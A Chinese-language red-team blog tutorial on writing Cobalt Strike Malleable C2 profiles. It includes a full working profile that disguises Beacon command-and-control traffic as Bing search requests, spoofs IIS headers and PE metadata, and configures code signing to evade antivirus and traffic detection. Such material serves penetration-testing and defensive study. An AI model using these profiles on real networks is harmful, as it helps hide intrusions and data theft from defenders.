Malleable-C2-Profiles配置

唔,水文水文….

關於Malleable-C2-Profiles

在日常的滲透測試工作中,我們需要做很多的規避操作,因爲我們所使用的C2工具等,可能早已被AV等防護軟件所標記,所以我們需要訂製我們的攻擊工具。而這就引出了我們的今天的重點Malleable C2 ,Malleable C2 是 Cobalt Strike 的一項功能, 意爲 “可定製的” 的 C2 服務器. Malleable C2 允許我們僅通過一個簡單的配置文件來改變 Beacon 與 C2 通信時的流量特徵與行爲。

調用方法爲:

1
./teamserver [external IP] [password] [/path/to/my.profile]

官方鏈接地址爲:https://www.cobaltstrike.com/help-malleable-c2

測試方法爲:

1
./c2lint [/path/to/my.profile]

本文只會對其中的技術點進行總結、說明,不會太關注於每一個參數的含義,因爲那畢竟是wiki需要做的事。

## 目標選擇:

關於profile的target選擇,自然而然選擇可信度的高的目標,比如360、bing、微軟等等,這個根據個人需要選擇即可。合法流量的捕獲可使用wireshark或者burpsuite,關於這這兩個工具的區別、使用不再贅述。

創建profile:

一般基本的profile一般包括以下基本部分:

  • 公共配置
  • https證書(可選)
  • http-get
    • client
      • metadata
    • server
      • output
  • http-post
    • client
      • id
      • output
    • server
      • output
  • http-stager

在 Malleable C2 中, 語句可分爲數據轉換語句, 終止語句, 額外語句 (Header and Parameter) 三種類型.

數據轉換語句有 base64 base64url mask netbios netbiosu prepend append.

終止語句有 print uri-append header parameter.

額外語句有 header parameter.

在學習這些之前,我們可以先來簡單瞭解一下CobaltStrike的通信過程(Beacon):

image

當 Beacon 被執行後, 會在 C2 上下載載荷執行, 即 Stage 過程, Stageless 則省去了這一步.

之後, Beacon 根據設置的睡眠時間進入睡眠狀態, 結束後向 C2 發送有關 Beacon 的信息如系統類型, 版本, 當前用戶, 稱之爲 Metadata.

如果存在待執行的任務, C2 就會響應發送 Metadata 的請求, Beacon 將會收到有關 Task 的具體內容和唯一的 Task ID, 並依次執行任務.

執行完畢後, Beacon 將各 Task 回顯的數據與對應的 Task ID 依次上傳至 C2, 然後再次進入睡眠狀態.

其中 Beacon 發送 Metadata 時一般使用 GET, 上傳回顯數據時使用 POST.

注:在3.6版本之後,可以將HTTP verb從POST改爲GET。

下面我們開始編寫profiles,關注profiles的編寫有下面幾個通用的點,可以防止錯誤。

  • 引用參數時使用雙引號,不要使用單引號
  • 允許使用分號
  • 注意反斜線、引號轉義
  • 特殊符號無須轉義(!@#$%^&*())

首先編寫公共部分,每部分進行一些講解:

注:[]表示選項、<>表示提供的值

配置文件名稱

image

隨便設置一個名字即可。

sleep、jitter設置

image

這兩個選項用來設置休眠和抖動的值。其中sleep爲回調時間以毫秒爲單位,jitter爲抖動值,爲百分比,接收0-99的值,設置正確的sleep與jitter可以使我們的流量更好的繞過一些檢測設備,並且與正常流量融合在一起。

host_stage、useragent設置

image

host_stage設置是否分段載荷、useragent設置訪問的ua信息。

設置SSL證書、代碼簽名證書

關於SSL證書,之前已經有很多文章曾經寫過了,keytools生成即可,然後配置https-certificate、https-certificate這兩個選項即可。

image

代碼證書:在CS生成exe、dll時有一個sign選項,默認不可選,如下圖這樣:

image

此時需要配置code-signer參數,

image

配置後,使用c2init測試,發現下面的提示,則說明成功

image

此時啓動CobaltStrike生產載荷,發現已經可以進行簽名操作。

image

響應頭設置

image

通過設置http-config來設置響應內容。若需要重定向,則將trust_x_forwarded_for設置爲true。

設置自定義命名管道與TCP端口

image

流量特徵

語法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
http-get {

client {

metadata {

}

}

server {

output {

}
}
}


http-post {

client {

id {

}

output {

}
}

server {

output {

}
}
}


http-stager {

client {

}

server {

output {

}
}
}

待碼塊按 HTTP 請求分爲 http-get http-post 兩種, 以及被單獨列出來的 http-stager 用於 stage 過程.按照對象分爲 client 和 server, 按照不同的通信步驟分爲 metadata id 和 output. Beacon 在上傳 Task 數據時是需要對應的 Task ID 的, id 塊正好是針對 Task ID 的修改, output 塊則是修改通過 POST 發送的數據, 而 server 中的 output 塊僅僅是用於修改響應內容的。

此時要注意的是,剛纔所說的終止語句只能放在metadata id output 塊, 不能直接放在 client 和 server 裏, 而且終止語句的後面不能有其它語句, 也就是說只能放在代碼塊末尾.print 和 uri-append 無須指定參數, 後兩者的格式爲 header “Cookie” 和 parameter “action”, 即存放位置爲 Cookie 字段和 action 參數。

如:

1
2
3
4
5
6
7
metadata {

base64;
prepend "token=";
header "Cookie";

}

則最後效果爲:

1
Cookie: token=BASE64_ENC_DATA

除此之外還有下面的四種,可根據需要選擇。

1
2
3
4
5
6
7
8
9
10
11
#base64
nqveOtUC+NlNAyHPVkSLMA==

#base64url
hf2D_5jHAA9ftoOe_ZY3zQ

#netbios
haklhhicanfeldpmgkefkhgjmhccgbmp

#netbiosu
HHHHGLGDJDELLEKFMDKAANJCLHIEFEMC

除此之外還有prepend 和 append 混用.等這裏不再贅述。最後效果:

image

HTTP-Stager

image

設置派生過程。

各類規避設置

image

這個部分不做過多講解,另外可使用process-inject設置進程注入時的細節。

至此一個簡單的profile便編寫完成了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
# CobaltStrike 4.0+ Test Profile
#
# References:
# * https://www.cobaltstrike.com/help-malleable-c2
# * https://www.cobaltstrike.com/help-malleable-postex
#
# Author: lengyi@HongHuLab
# Github: https://github.com/lengjibo
#
### Global Option Block
set sample_name "lengyi.profile"; # Profile name

set sleeptime "30000"; # Sleep time for the beacon callback
# set sleeptime "<60000>"; # 1 Minute
# set sleeptime "<70000>";
# set sleeptime "<80000>";

set jitter "50"; # Jitter to set %. In this example, the beacon will callback between 15 and 30 sec jitter

set dns_idle "8.8.4.4";
set dns_sleep "0";
set maxdns "235";

set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.
set useragent "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN)"; # User-Agent

### Self-Signed Certificate HTTPS

https-certificate {
set CN "us";
set O "us";
set C "us";
set L "us";
set OU "us";
set ST "us";
set validity "365";
}

### Valid SSL Certificate HTTPS

https-certificate {
set keystore "zzhsec.store";
set password "lengyi";
}

### Code Signing Certificate

code-signer {
set keystore "keystore.jks";
set password "123456";
set alias "server";
}

### HTTP/S Global Response Header

http-config {
set headers "Server, Content-Type, Cache-Control, Connection, X-Powered-By"; # HTTP header
header "Server" "Microsoft-IIS/8.0";
header "Content-Type" "text/html;charset=UTF-8";
header "Cache-Control" "max-age=1";
header "Connection" "keep-alive";
header "X-Powered-By" "ASP.NET";
set trust_x_forwarded_for "false"; # "true" if the team server is behind an HTTP redirector
}

### SMB Beacon

set pipename "win_svc";
set pipename_stager "win_svc";

### TCP Beacon

set tcp_port "1337"; # TCP beacon listen port

### HTTP-GET

http-get {

set uri "/search/";

client {

header "Host" "www.bing.com";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";

metadata {
base64url;
parameter "q";
}

parameter "go" "Search";
parameter "qs" "bs";
parameter "form" "QBRE";


}

server {

header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";


output {
netbios;
prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA[";
append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
print;
}
}
}

### HTTP-POST

http-post {

set uri "/Search/";
set verb "GET";

client {

header "Host" "www.bing.com";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
header "Cookie" "DUP=Q=GpO1nJpMnam4UllEfmeMdg2&T=283767088&A=1&IG";

output {
base64url;
parameter "q";
}

parameter "go" "Search";
parameter "qs" "bs";

id {
base64url;
parameter "form";
}
}

server {

header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";


output {
netbios;
prepend "<!DOCTYPE html><html lang=\"en\" xml:lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:Web=\"http://schemas.live.com/Web/\"><script type=\"text/javascript\">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=\"text/html; charset=utf-8\" http-equiv=\"content-type\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"XML\" type=\"text/xml\" /><link href=\"/search?format=rss&amp;q=canary&amp;go=Search&amp;qs=bs&amp;form=QBRE\" rel=\"alternate\" title=\"RSS\" type=\"application/rss+xml\" /><link href=\"/sa/simg/bing_p_rr_teal_min.ico\" rel=\"shortcut icon\" /><script type=\"text/javascript\">//<![CDATA[";
append "G={ST:(si_ST?si_ST:new Date),Mkt:\"en-US\",RTL:false,Ver:\"53\",IG:\"4C1158CCBAFC4896AD78ED0FF0F4A1B2\",EventID:\"E37FA2E804B54C71B3E275E9589590F8\",MN:\"SERP\",V:\"web\",P:\"SERP\",DA:\"CO4\",SUIH:\"OBJhNcrOC72Z3mr21coFQw\",gpUrl:\"/fd/ls/GLinkPing.aspx?\" }; _G.lsUrl=\"/fd/ls/l?IG=\"+_G.IG ;curUrl=\"http://www.bing.com/search\";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+\"IG=\"+_G.IG+\"&\"+a;}return true;};//]]></script><style type=\"text/css\">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,";
print;
}
}
}

### HTTP-stager

http-stager {
server {
header "Cache-Control" "private, max-age=0";
header "Content-Type" "text/html; charset=utf-8";
header "Vary" "Accept-Encoding";
header "Server" "Microsoft-IIS/8.5";
header "Connection" "close";
}
}

### Stage

stage {
set checksum "0";
set compile_time "12 Jun 2020 11:22:23";
set image_size_x86 "559966";
set image_size_x64 "559966";
set entry_point "38807";
set rich_header "\xcd\x11\x8f\xf8\x89\x70\xe1\xab\x89\x70\xe1\xab\x89\x70\xe1\xab\x3d\xec\x10\xab\x9c\x70\xe1\xab\x3d\xec\x12\xab\x0a\x70\xe1\xab\x3d\xec\x13\xab\x90\x70\xe1\xab\xea\x2d\xe2\xaa\x9b\x70\xe1\xab\xea\x2d\xe4\xaa\xae\x70\xe1\xab\xea\x2d\xe5\xaa\x9b\x70\xe1\xab\x80\x08\x72\xab\x82\x70\xe1\xab\x89\x70\xe0\xab\x03\x70\xe1\xab\xe7\x2d\xe4\xaa\x80\x70\xe1\xab\xe7\x2d\x1e\xab\x88\x70\xe1\xab\x89\x70\x76\xab\x88\x70\xe1\xab\xe7\x2d\xe3\xaa\x88\x70\xe1\xab\x52\x69\x63\x68\x89\x70\xe1\xab\x00\x00\x00\x00\x00\x00\x00\x00";
}

### Post-Exploitation

post-ex {
set amsi_disable "false"; # Disable AMSI
}

測試通過

image

測試

測試步驟

  • 啓動wireshark
  • 使用測試配置文件啓動teamserver
  • 創建HTTP監聽器(名爲http)
  • 創建SMB監聽器(名爲smb)

然後進行操作,看是否符合要求。

image

自動化

使用C2concealer自動化生成。用法如下:

1
C2concealer --hostname google.com --variant 3

image

參考文章:

https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/

https://www.zzhsec.com/544.html

https://www.cobaltstrike.com/help-malleable-c2

https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/

https://xz.aliyun.com/t/2796

https://github.com/bigb0sss/RedTeam/blob/master/CobaltStrike/malleable_C2_profile/CS4.0_guideline.profile

https://fortynorthsecurity.com/blog/introducing-c2concealer/

https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b

https://medium.com/bugbountywriteup/red-team-cobalt-strike-4-0-malleable-c2-profile-guideline-eb3eeb219a7c

https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.3.14.profile

https://exp10it.cn//posts/69

https://www.cobaltstrike.com/help-malleable-postex

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章